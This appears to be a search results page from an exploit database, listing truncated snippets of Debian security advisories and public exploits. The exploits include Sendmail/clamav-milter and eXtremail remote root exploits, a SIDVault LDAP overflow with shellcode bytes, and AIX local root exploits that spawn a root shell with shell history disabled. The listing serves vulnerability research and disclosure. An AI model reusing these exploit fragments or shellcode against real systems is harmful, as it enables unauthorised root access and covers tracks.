824 matches found
Debian Security Advisory DSA 774-1 (fetchmail)
The remote host is missing an update to fetchmail announced via advisory DSA 774-1. Edward Shornock discovered a bug in the UIDL handling code of fetchmail, a common POP3, APOP and IMAP mail fetching utility. A malicious POP3 server could exploit this problem and inject arbitrary code that will b...
Debian: Security Advisory (DSA-514)
The remote host is missing an update for the Debian SPDX-FileCopyrightText: 2008 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...
Sendmail with clamav-milter 0.91.2 - Remote Command Execution
Sendmail with clamav-milter 0.91.2 - Remote Command Execution black-hole.pl Sendmail w/ clamav-milter Remote Root Exploit Copyright c 2007 Eliteboy use IO::Socket; print "Sendmail w/ clamav-milter Remote Root Exploit\n"; print "Copyright C 2007 Eliteboy\n"; if $ARGV != 0 print "Give me a host to...
Linux Kernel < 2.6.11.5 BLUETOOTH Stack Local Root Exploit
Exploit for linux platform in category local exploits ========================================================== Linux Kernel Not tainted VLI EFLAGS: 00010286 2.6.9 EIP is at btsockcreate+0x3d/0x130 eax: ffffffff ebx: ffebfe34 ecx: 00000000 edx: c051bea0 esi: ffffffa3 edi: ffffff9f ebp: 00000001...
eXtremail 2.1.1 - LOGIN Remote Stack Overflow
eXtremail 2.1.1 - LOGIN Remote Stack Overflow / extremail-v4.c Copyright c 2006 by eXtremail include include include include include define BUFSIZE 8192 define NOP 0x41 define PAD 0 / do you feel lucky? / define DEFPORT 4501 define PORTADMIN DEFPORT define PORTSHELL 4444 static const char...
eXtremail 2.1.1 - 'LOGIN' Remote Stack Overflow
/ extremail-v4.c Copyright c 2006 by eXtremail include include include include include define BUFSIZE 8192 define NOP 0x41 define PAD 0 / do you feel lucky? / define DEFPORT 4501 define PORTADMIN DEFPORT define PORTSHELL 4444 static const char bndshelllnx =...
NovaSTOR NovaNET 12.0 - Remote Command Execution
/ source: https://www.securityfocus.com/bid/39693/info NovaStor NovaNET is prone to code-execution, denial-of-service, and information-disclosure vulnerabilities. An attacker can exploit these issues to execute arbitrary code, access sensitive information, or crash the affected application, denyi...
SIDVault LDAP Server Preauth Remote Buffer Overflow Exploit
No description provided by source. !/usr/bin/python """ Alpha Centauri Software SIDVault LDAP Server remote root exploit 0days """ import sys import socket sc = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" sc +=...
SIDVault LDAP Server - Remote Buffer Overflow
SIDVault LDAP Server - Remote Buffer Overflow !/usr/bin/python """ Alpha Centauri Software SIDVault LDAP Server remote root exploit 0days """ import sys import socket sc = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" sc +=...
Immunity Canvas: MU
Name| mu ---|--- CVE| CVE-2007-3744 Exploit Pack| CANVAS Description| MacOS X 10.4 mDNSResponder UPNP Remote Root Exploit Notes| CVE Name: CVE-2007-3744 Notes: If the target port is not specified, it will be located automatically. This exploit will attempt to bypass the built-in OS X firewall by...
IBM AIX <= 5.3 sp6 pioout Arbitrary Library Loading Local Root Exploit
No description provided by source. !/bin/sh 07/2007: public release echo "-------------------------------" echo " AIX pioout Local Root Exploit " echo " By qaaz" echo "-------------------------------" cat piolib.c EOF include stdlib.h include unistd.h void init attribute constructor; void init...
aix53-pioout.txt
!/bin/sh 07/2007: public release echo "-------------------------------" echo " AIX pioout Local Root Exploit " echo " By qaaz" echo "-------------------------------" cat piolib.c include void init attribute constructor; void init seteuid0; setuid0; putenv"HISTFILE=/dev/null"; execl"/bin/bash",...
aix53-ftp.txt
/ 07/2007: public release qaaz@aix:$ ./aix-ftp ---------------------------- AIX ftp Local Root Exploit By qaaz ---------------------------- bash: no job control in this shell bash-3.00 / include include include include include include define TARGET "/usr/bin/ftp" define OVERLEN 300 define MAXx,y ...
aix53-capture.txt
/ 07/2007: public release qaaz@aix:$ ./aix-capture -------------------------------- AIX capture Local Root Exploit By qaaz -------------------------------- bash: no job control in this shell bash-3.00 / include include include include include include include define TARGET "/usr/bin/capture" defin...
IBM AIX <= 5.3 sp6 capture Terminal Sequence Local Root Exploit
Exploit for aix platform in category local exploits =============================================================== IBM AIX include include include include include include define TARGET "/usr/bin/capture" define VALCNT 40 define MAXx,y x y ? x : y define ALIGNx,y x + y - 1 / y y unsigned char...
IBM AIX <= 5.3 sp6 ftp gets() Local Root Exploit
No description provided by source. / 07/2007: public release IBM AIX = 5.3 sp6 AIX ftp Local Root Exploit By qaaz / include stdio.h include stdlib.h include string.h include unistd.h include sys/wait.h include sys/select.h define TARGET "/usr/bin/ftp" define OVERLEN 300 define MAXx,y x y ? x : y...
IBM AIX 5.3 SP6 - FTP gets() Local Privilege Escalation
IBM AIX 5.3 SP6 - FTP gets Local Privilege Escalation / 07/2007: public release IBM AIX include include include include include define TARGET "/usr/bin/ftp" define OVERLEN 300 define MAXx,y x y ? x : y define ALIGNx,y x + y - 1 / y y unsigned char qaazcode = "\x60\x60\x60\x60\x60\x60\x60\x60"...
IBM AIX 5.3 SP6 - Capture Terminal Sequence Privilege Escalation
/ 07/2007: public release IBM AIX include include include include include include define TARGET "/usr/bin/capture" define VALCNT 40 define MAXx,y x y ? x : y define ALIGNx,y x + y - 1 / y y unsigned char qaazcode = "\x60\x60\x60\x60\x60\x60\x60\x60" "\x7c\x63\x1a\x79\x40\x82\xff\xfd"...
IBM AIX 5.3 SP6 - Capture Terminal Sequence Privilege Escalation
IBM AIX 5.3 SP6 - Capture Terminal Sequence Privilege Escalation / 07/2007: public release IBM AIX include include include include include include define TARGET "/usr/bin/capture" define VALCNT 40 define MAXx,y x y ? x : y define ALIGNx,y x + y - 1 / y y unsigned char qaazcode =...
IBM AIX <= 5.3 sp6 capture Terminal Sequence Local Root Exploit
No description provided by source. / 07/2007: public release IBM AIX = 5.3 sp6 AIX capture Local Root Exploit By qaaz / include stdio.h include stdlib.h include string.h include fcntl.h include unistd.h include sys/wait.h include sys/select.h define TARGET "/usr/bin/capture" define VALCNT 40 defi...